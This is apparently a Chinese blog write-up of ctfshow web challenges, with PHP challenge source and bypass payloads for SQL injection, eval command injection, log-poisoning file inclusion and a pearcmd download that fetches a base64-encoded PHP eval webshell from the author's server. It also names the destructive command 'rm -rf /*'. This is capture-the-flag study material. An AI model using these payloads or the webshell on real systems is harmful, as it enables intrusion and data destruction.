不是很难。一个是为了刷分,再一个是为了巩固php基础知识,自己又温习了一遍感觉还是能学到很多。
web1
<?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); } ?>
web2
对比web1多了一行判断:
if(preg_match("/or|\+/i",$id)){ die("id error"); }
对payload无影响,同上。
web3
扩充了web2的黑名单:
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){ die("id error"); }
这次从sql语句下手:
web4
同上
web5
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){ die("id error"); }
||
和or
被过滤掉惹,十六进制也没法用,想到1000取反两次还是1000:
<?php $a = 1000; $b = ~~$a; var_dump($b); //结果:int(1000) ?>
web6
同上
web7
这次过滤了~
,转为二进制即可。
web8
这题无意义的T T说是梗题,看了wp:rm -rf /*
web9
到了最喜欢的命令执行的阶段了。
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(preg_match("/system|exec|highlight/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
?c=system("strings config.php");
flag在源代码里。
web10
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
上题是允许匹配,这题是不允许匹配0.0但是过滤的一点都不严嘿嘿。
echo `ls`;
show_source("config.php");
web11
同上。
web12
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
这里使用同样能执行外部系统命令的passthru()。既然“config”不让写全,用通配符代替就行。
echo passthru("strings con*");
web13
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
这回不让输入分号有点难受。。需要使用?>
闭合语句。
echo passthru("strings con*")?>
web14
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
这次过滤了左括号。分号和上题一样使用?>
代替。
echo `ls`?>
echo `strings con*`?>
web15
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){ eval($c); }else{ die("cmd error"); } }else{ highlight_file(__FILE__); } ?>
这次过滤了?
、<
等对其非常不利的符号(笑。但是没有过滤分号,给了我可乘之机。命令可以用base64编码的形式代替,还需要注意过滤了=
,因此我编码了strings con*
。
echo `ls`;
echo `echo c3RyaW5ncyBjb24q|base64 -d|sh`;
web16
<?php # flag in config.php include("config.php"); if(isset($_GET['c'])){ $c = $_GET['c']; if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){ echo $flag; }else{ echo "nonono!"; } }else{ highlight_file(__FILE__); } ?>
爆破:
import hashlib import string dic = string.printable for i in dic: for j in dic: for q in dic: a = "ctfshow"+i+j+q md5 = hashlib.md5(a.encode('utf-8')).hexdigest() if (md5=="a6f57ae38a22448c2f07f3f95f49c84e"): print("c = "+i+j+q)
运行得36d
web17
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/php/i",$c)){ include($c); } }else{ highlight_file(__FILE__); } ?>
伪协议。因为不允许输入包含php字样的内容,考虑data+base64但是行不通。
这题同[CTF.SHOW]web4 可以包含nginx日志:
把马写UA中就行:
再次包含/var/log/nginx/access.log
,成功执行phpinfo,说明?写进去了。show_source("36d.php");
看到flag。
web18-21
同上。
web22
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\:|\/|\\\/i",$c)){ include($c.".php"); } }else{ highlight_file(__FILE__); } ?>
这里涉及到一个知识点:PHP参数处理函数register_argc_argv
如果您想声明变量
$argc
和$argv
和模仿这种功能,使用register_argc_argv。
$argc
变量是⽤于记录数组的⼤⼩
$argv
变量是⽤于记录输⼊的参数。⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、
7.3.4)默认为 Off
举个例子:
<?php error_reporting(0); $a=$_SERVER['argv']; var_dump($a); ?>
可见,如果正常传入参数,数组的大小永远是1,要表示两个数组,需要用+
隔开。
该题的做法是“下载一个档案文件(php文件)并使用lfi”。pear是PHP的扩展和应用程序库,包含了很多有用的类,其中pearcmd.php支持下载功能。
pearcmd.php download 路径
我开了个公网服务器:
echo "PD9waHAgQGV2YWwoJF9HRVRbJ3NoYXcnXSk7Pz4="|base64 -d > shaw.php
python3 -m http.server 8004
让题目去下载shaw.php,因为$c
尾巴自动加上“php”了,直接写pearcmd就好:
?c=pearcmd&+download+http://ip/shaw.php
提示下载失败,但是访问是可以执行命令的:
⚪ 参考: